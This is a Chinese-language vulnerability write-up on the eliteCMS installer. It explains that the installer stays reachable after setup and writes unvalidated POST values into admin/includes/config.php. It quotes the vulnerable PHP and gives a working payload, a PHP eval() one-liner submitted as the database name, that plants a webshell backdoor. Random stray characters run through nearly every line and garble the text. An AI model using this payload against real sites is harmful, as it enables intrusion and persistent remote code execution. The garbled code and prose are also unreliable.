eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装! r9 Y# {5 k; I9 M% c; R# W0 L5 D
1 @, N$ [6 [, J另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php g+ @; _% n6 C6 U* z6 T3 f
我们来看代码:! b' o7 F' c+ g3 U, F$ n
1 A- Q7 G8 e. \# V...
$ n- f$ E7 P" r2 a9 a- T, B1 f+ T# jelseif ($_GET['step'] == "4") {
7 B- L2 t j7 T$ M( F( t) @ $file = "../admin/includes/config.php";
7 `8 _, W# c4 M# M' { $write = "<?php\n";5 k. e% X" c q- [- d: R: z0 n1 A
$write .= "/**\n";& S7 e9 O2 f2 z# G) F" D" L
$write .= "*\n";! M3 o% @0 E; [$ @
$write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
) Y* D" W! y2 v( I9 I...略...
6 \# e: y: u# w" ?9 Z: n5 f. T8 ]$ Q $write .= "*\n";7 n/ ~# M+ F# I* e
$write .= "*/\n";4 e2 i3 r; y- d! j& g8 d- T
$write .= "\n";0 B2 M7 k3 A2 a: h+ G
$write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";. G$ Q3 b; i7 @' }0 c- r
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
- Z# r) F1 {5 ~) i* w& Q& v3 v $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
) o* Q1 \7 Q& f5 ~) f( s $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
1 Q% \* r+ X0 s9 d% R! J5 O $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
- w1 g! {5 \/ r" O- y $write .= "if (!\$connection) {\n";, |: N9 @7 p. ?! s6 e
$write .= " die(\"Database connection failed\" .mysql_error());\n";2 w+ ~( y3 _; ]6 c1 a
$write .= " \n";
/ f. W3 Q- J( g $write .= "} \n";
, L& i, S# s3 y& x4 K5 T $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";8 r9 J$ ^& r: _/ [; g/ B
$write .= "if (!\$db_select) {\n";
8 S4 {# H* t/ F6 L $write .= " die(\"Database select failed\" .mysql_error());\n";
. s; L8 S8 t3 d& y* _ $write .= " \n";
% L, p# X6 R' \, l" i' }$ [ $write .= "} \n";5 b" f) o* q. V, U8 y* o2 y
$write .= "?>\n";2 e; [) k0 X l. F& O, J5 b
* I% w8 W. b2 z! L7 g# V$ V" D1 ^ $writer = fopen($file, 'w');- U8 k6 w# }. N) P, E4 X/ [
...! n0 R& D& w) E) m& X, n* Q
! z' U( {* \( S
在看代码:1 W1 H1 }3 X2 n3 F, `3 k" s$ B
. q8 l" D% j) `3 l, z0 I* Q) a0 n
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];4 l5 S# V+ g# w/ T+ F( T
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
& ]4 Z# s; x% o! ?5 g$_SESSION['DB_USER'] = $_POST['DB_USER'];
5 V, |. k" |5 f& _$_SESSION['DB_PASS'] = $_POST['DB_PASS'];3 m6 Q' M& R q, j* d
4 L/ e. M. l/ p& } o
取值未作任何验证6 l' V6 @) B- g- ]
如果将数据库名POST数据:
. E6 P- x7 q0 m+ q: H6 s0 f: g P0 _3 c5 L/ ?5 v3 i6 [3 @/ h6 _
"?><?php eval($_POST[c]);?><?php
P) r& s2 e5 k* }+ h7 q % W5 {8 c/ S5 N: ]
将导致一句话后门写入/admin/includes/config.php
S1 G: a' C" I% O5 Y' ?7 m |